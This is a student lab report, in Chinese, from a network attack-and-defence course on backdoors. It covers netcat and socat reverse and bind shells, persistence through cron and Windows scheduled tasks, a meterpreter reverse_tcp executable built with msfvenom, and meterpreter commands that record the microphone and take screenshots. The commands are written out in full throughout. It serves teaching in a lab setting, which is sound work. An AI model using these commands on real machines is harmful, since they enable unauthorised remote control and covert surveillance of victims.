2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践
一、实验要求 (3.5分)
(1)使用netcat获取主机操作Shell,cron启动 (0.5分)
(2)使用socat获取主机操作Shell, 任务计划启动 (0.5分)
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)
实验准备
windows环境下下载老师提供的ncat和socat。
常用后门工具
任务一:Windows获得Linux Shell
1、使用ipconfig
(windows下)查询主机IP地址
2、使用ncat.exe程序监听本机的5323端口:
(1) -l
用于指定nc将处于侦听模式。指定该参数,则意味着nc被当作server,侦听并接受连接,而非向其它地址发起连接。
(2) -p
指定nc要使用的端口。若之前已指定-l,则这里的-p指定具体的侦听端口;若未指定-l,则表示向这个端口发起连接。
备注:nc要连接的目的端口可以是具体的整数,也可以直接通过服务名指定,这种情况下,nc会负责将name映射至某个well-known port(可用cat /etc/services查看这些端口跟服务名的映射关系)
3、在Kali环境下,使用nc
指令的-e
选项反向连接Windows主机的5323端口:
4、成功获得Kali的shell,如下图所示:
任务二:Linux获得Windows Shell
1、在Kali环境中使用ifconfig
查看IP:
2、使用nc
指令监听5323端口:
3、在Windows下,使用ncat.exe
程序的-e
选项项反向连接Kali主机的5323端口:
4、Kali下可以看到Windows的命令提示,可以输入Windows命令:
任务三:使用nc传输数据
1、Windows下监听5323端口:ncat.exe -l 5323
2、Kali下连接到Windows的5323端口:nc 192.168.1.171 5323
3、建立连接之后,就可以传输数据了:
使用nc传输文件
1、在数据接收方的机器上侦听指定端口ncat.exe -l 5323 > file.txt
2、在数据发送方机器上向指定地址(ip+port)以TCP方式发送数据nc 192.168.1.171 5323 < file.txt
Meterpreter
任务一:使用netcat获取主机操作Shell,cron启动
1、在Windows系统下,监听5323端口:
2、用crontab -e
指令编辑一条定时任务
3、在最后一行添加05 * * * * /bin/netcat 192.168.1.171 5323 -e /bin/sh
,意思是在每个小时的第5分钟反向连接Windows主机的5323端口:(此ip为windows的ip)
时间到了之后效果如下:
任务二:使用socat获取主机操作Shell, 任务计划启动
1、首先通过搜索打开计算机管理,并在其中选择创建任务,填写任务名称,并在触发器一项中填入我们需要的内容,如下图:
2、在操作->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5323 exec:cmd.exe,pty,stderr
,这个命令的作用是把cmd.exe绑定到端口5323,同时把cmd.exe的stderr重定向到stdout上:
3、创建完成之后,按Windows+L快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行:
4、此时,在Kali环境下输入指令socat - tcp:192.168.1.171:5323
,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5323端口,此时可以发现已经成功获得了一个cmd shell:
任务三:使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
1、输入指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.134 LPORT=5323 -f exe > 20165323_backdoor.exe
(此处为Linux的ip)生成后门程序:
2、在Windows下使用ncat.exe -lv 5323 > 20165323_backdoor.exe
指令,通过-lv
选项看到当前的连接状态,下面这个图是文件传输成功的截图
3、在Linux中执行nc 192.168.1.171 5323 < 20165323_backdoor.exe
,注意这里的IP为被控主机IP,即WindowsIP,如下图所示,传输成功
4、在Kali上使用msfconsole
指令进入msf控制台,使用监听模块,设置payload,设置反弹回连的IP和端口:
出现以下结果:
然后输入以下指令use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.134
set LPORT 5323
show options
exploit
结果如下
任务四:使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容
1、使用record_mic
指令可以截获一段音频:
2、使用screenshot
指令可以进行截屏:
3、使用getuid
指令查看当前用户
实验中遇到的问题及思考
问题:如图,计算机积极拒绝链接
一开始以为是kali防火墙的问题,使用ufw disable # To disable the firewall
关闭了防火墙后依旧没有成功,没法从Windows传送文件至Linux
但是可以从Linux传送文件至Windows
实验总结及体会
本次实验我们简单了解和学习了一些后门工具的使用和如何通过他们来获得受害主机各种各样的权限;此次实验虽然内容简单,但是我们却从中知道了如何黑进他人电脑的一些入门知识,感觉很有意思
基础问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
通过访问一些未受信任的网站或者使用盗版软件等,在使用这些软件的时候他们在最后一行加入了后门代码,当我们运行此类软件的时候,便进入到了我们的系统,或者在捡到一个未知内容的U盘时,因为好奇其中内容而打开,此时后门就已经进入了系统
(2)例举你知道的后门如何启动起来(win及linux)的方式?
修改注册表、设置为开机自启动、诱导用户点击或者光标划过、可以设为定时启动、启动绑定软件时启动
(3)Meterpreter有哪些给你映像深刻的功能?
操控别人的电脑,比如说录屏,从某方面来说等于一个暗中监控他人的一个方式;基本上已经得到了大部分他人电脑的控制权。
(4)如何发现自己有系统有没有被安装后门?
通过杀毒软件多次查杀,看是否有异常;或者在注册表中查看是否有多出的程序;